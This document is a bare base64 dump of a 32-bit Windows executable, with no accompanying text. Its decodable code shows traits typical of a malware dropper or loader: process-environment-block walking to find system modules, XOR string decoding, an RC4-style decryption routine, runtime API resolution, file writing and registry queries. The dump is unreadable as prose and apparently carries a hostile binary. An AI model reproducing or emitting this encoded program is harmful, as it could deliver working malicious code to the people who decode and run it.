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 - leD7//9S6OUTAACDxBCNhej5//9QaPQBAAD/FaDeQACNjej5//9RjZXo+///Uv8VGHBAAGhk0UAAjYXo - +f//UP8VFHBAAGhw0UAAjY3o+///Uf8VFHBAAGoAaIAAAABqAmoAagBoAAAAQI2V6Pn//1L/FYjkQACJ - heD9//9qAI2F5Pv//1CLTQhRi5Xg+///UouF4P3//1D/FYDeQACLjeD9//9R/xVo3kAAaPQBAACNlQD+ - //9SagD/FfTmQABqAY2F6Pv//1CNjQD+//9R/xX45kAAagFqAGoAjZXo+f//Umh80UAAagD/FfzmQACL - 5V3DzMzMzMzMzMzMzMzMzFWL7IHsnAAAAOhS8f//iYVs////ofRxQABQi41s////Uf8VkHBAAKN83kAA - ixXYcUAAUouFbP///1D/FXzeQACjiORAAIsNyHFAAFGLlWz///9S/xV83kAAo2jeQACh0HFAAFCLjWz/ - //9R/xV83kAAo4DeQACLFeBxQABSi4Vs////UP8VfN5AAKOg3kAAaBDhQABoBAEAAP8VoN5AAGiE0UAA - aBDhQAD/FRRwQABqAGiAAAAAagJqAGoCaAAAAEBoEOFAAP8ViORAAImFdP///8dF+ABaAACLDZDRQACJ - TYiLFZTRQACJVYyhmNFAAIlFkIsNnNFAAIlNlIsVoNFAAIlVmKGk0UAAiUWcakxqAI1NoFHoEjYAAIPE - DMeFZP///wAAAADrD4uVZP///4PCAYmVZP///4O9ZP///xB9GYuFZP///4uNZP///4pUDYiIlAV4//// - 68/HRfyIckAAag+LRfhQjY14////UYtV/FLoOfH//4PEEGoAjYVw////UItN+FGLVfxSi4V0////UP8V - gN5AAIuNdP///1H/FWjeQACL5V3DzMzMzMzMzFWL7IHsRAEAAOii7///iYXA/v//ofRxQABQi43A/v// - Uf8VkHBAAKN83kAAixXocUAAUouFwP7//1D/FXzeQACjLOhAAIsN7HFAAFGLlcD+//9S/xV83kAAo8Tl - QAChxHFAAFCLjcD+//9R/xV83kAAo2zeQABqAP8VbN5AAImFvP7//2io0UAAam6Llbz+//9S/xXE5UAA - iYXo/v//g73o/v//AHUHM8Dp6wAAAIuF6P7//1CLjbz+//9R/xUs6EAAiYXE/v//i5Xo/v//UouFvP7/ - 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 - /xUUcEAAaFTSQACNjZgV//9R/xUUcEAAixVYckAAUo2FmBX//1D/FRRwQABoWNJAAI2NmBX//1H/FRRw - QABqAGoBi5UwDv//Uv8V3N9AAIPEDIXAD4VIBQAAx4UcDf//AAAAAMeFGA3//wAAAADrD4uFGA3//4PA - AYmFGA3//4uNfBT//1H/FZhwQACD6AI5hRgN//9/T4uVfBT//wOVGA3//w++AoP4DXU5i418FP//A40Y - Df//D75RAYP6CnUki4V8FP//A4UYDf//D75IAoP5LnUPi5UcDf//g8IBiZUcDf//64rHhRQN//8AAAAA - 6w+LhRQN//+DwAGJhRQN//+LjRwN//+D6QE5jRQN//8PjWQEAABoAAMAAOigBAAAg8QEiYX0DP//i5X0 - DP//iZUMDf//i0X8UP8VmHBAAImFIA3//8eFkBX//wAAAADrD4uNkBX//4PBAYmNkBX//4uVkBX//zuV - IA3//31Ci0X8A4WQFf//D74Ig/kNdRaLVfwDlZAV//8PvkIBg/gKdQTrHesZi40MDf//A42QFf//i1X8 - A5WQFf//igKIAeuhi42QFf//g8ECiY2QFf//i1X8A5WQFf//D74Cg/gNdRKLTfwDjZAV//8PvlEBg/oK - dBGLhZAV//+DwAGJhZAV///rzIuNkBX//4PBAomNkBX//8eFCA3//wAAAADrHouVkBX//4PCAYmVkBX/ - /4uFCA3//4PAAYmFCA3//4uNkBX//zuNIA3//31Gi1X8A5WQFf//D74Cg/gNdRaLTfwDjZAV//8PvlEB - g/oKdQTrIesdi4UMDf//A4UIDf//i038A42QFf//ihGIkAABAADrjouFkBX//4PAAomFkBX//4tN/AON - kBX//w++EYP6DXUSi0X8A4WQFf//D75IAYP5CnQRi5WQFf//g8IBiZWQFf//68yLhZAV//+DwAKJhZAV - ///HhQQN//8AAAAA6x6LjZAV//+DwQGJjZAV//+LlQQN//+DwgGJlQQN//+LhZAV//87hSAN//99RotN - /AONkBX//w++EYP6DXUWi0X8A4WQFf//D75IAYP5CnUE6yHrHYuVDA3//wOVBA3//4tF/AOFkBX//4oI - iIoAAgAA646DvUAQ//8CdRaLFbRxQABSagDoKfT//4PECIlF/Oscg71AEP//A3UToYjMQABQagDoC/T/ - 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 - 